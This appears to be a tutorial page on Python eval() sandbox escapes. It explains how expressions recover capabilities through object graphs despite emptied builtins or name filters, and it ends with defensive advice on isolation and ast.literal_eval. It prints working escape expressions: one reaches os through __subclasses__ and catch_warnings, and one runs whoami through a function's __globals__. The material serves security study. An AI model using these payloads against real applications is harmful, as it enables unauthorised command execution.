Knowledge tree
On this page

Python eval Sandbox Escapes

Reason about namespaces, reachable objects, and capabilities when evaluating Python expressions.
Updated 6 Oct 2026

Removing names visible to an expression changes what it can find by name. It does not automatically change the objects it can construct, receive, or traverse. A useful analysis of eval() follows reachability → object graph → capability recovery. The point is to discover which references exist in the actual process.

eval namespaces

eval(expr, globals, locals) evaluates an expression using the supplied dictionaries. If globals lacks __builtins__, Python inserts them. Empty globals and explicitly empty builtins behave differently:

eval("len([1, 2])", {}, {})                      # 2
eval("len([1, 2])", {"__builtins__": {}}, {})  # NameError

Locals can supply additional names. A NameError proves only that the name did not resolve by that path. It does not prove that the operation is unreachable through every reference. Python’s documentation warns that changing __builtins__ is not a security boundary.

def double(value):
    return value * 2

eval("double(3)", {"__builtins__": {}}, {"double": double})  # 6

The host has supplied a function in the local namespace. The question now extends beyond the list of names to what that function and its attributes make reachable.

From literal to object graph

An empty tuple can be constructed without resolving a name:

()                         # tuple instance
().__class__               # <class 'tuple'>
().__class__.__mro__        # (tuple, object)
().__class__.__mro__[-1]   # <class 'object'>

__mro__ is the method resolution order. object exposes __subclasses__(), which returns its currently live immediate subclasses:

classes = eval(
    "().__class__.__mro__[-1].__subclasses__()",
    {"__builtins__": {}},
    {},
)
print(len(classes) > 0)

This proves reachability into the graph, not command execution. Loaded classes vary with the Python version, imports, and process state. Fixed indexes such as subclasses()[59] are fragile. Gadgets mentioned in older write-ups, such as warnings.catch_warnings, matter only if they are present and lead to a useful capability in that runtime.

Here is a local Python 3.12 example with warnings.catch_warnings already loaded. It searches by class name, reaches the warnings module, recovers __import__ from its builtins, and asks os for the current directory:

expr = (
    "[c for c in ().__class__.__mro__[-1].__subclasses__() "
    "if c.__name__ == 'catch_warnings'][0]()._module."
    "__builtins__['__import__']('os').getcwd()"
)
eval(expr, {"__builtins__": {}}, {})

This is a probe for a particular object graph, not a universal payload. It fails if the class is absent or that path changes. The point is the recovered reference to a capability despite an empty builtins dictionary in the expression’s globals.

Reachable functions

A Python-defined function keeps a reference to its module namespace:

service_name = "example"

def label():
    return service_name

label.__globals__["service_name"]  # "example"

An expression that reaches label can inspect that reference:

eval(
    "label.__globals__['service_name']",
    {"__builtins__": {}},
    {"label": label},
)

The module namespace may contain builtins, imported modules, or other objects. The analysis shifts from “which words were blocked?” to “which functions and objects did the host supply or leave reachable?” Recovering a particular capability requires an actual reference path to it. Reaching object alone proves neither filesystem nor process access, and any operation still runs with the process’s permissions.

For a concrete local test, give the host function a module already loaded by its application:

import subprocess

def label():
    return "example"

eval(
    "label.__globals__['subprocess'].run(['whoami'], capture_output=True, text=True).stdout",
    {"__builtins__": {}},
    {"label": label},
)

This expression has no direct subprocess name and no builtins in its own globals. It reaches the module through label.__globals__ and runs whoami with the host process’s privileges. In a real target, first check whether such a Python function and module are actually reachable. A blocked name by itself is not a useful finding.

Filters and boundaries

A blacklist of __import__, open, os, or subclasses covers only those spellings. Attributes, host-provided values, and strings assembled during evaluation can expose other references. Before treating a filter as a boundary, check accepted syntax, objects passed to the expression, and accessible attributes.

Separate four controls during review:

ControlWhat it limits
NamespaceDirectly available names
SyntaxOperations accepted by the parser
Object graphReferences the expression can follow
Process isolationReachable files, network, processes, CPU, and memory

If the task is to parse data, use a data parser. ast.literal_eval() accepts literals without general calls, although untrusted input can still exhaust resources. If untrusted Python code must run, isolation belongs outside the evaluated interpreter. Empty builtins and string filters do not replace that boundary.

References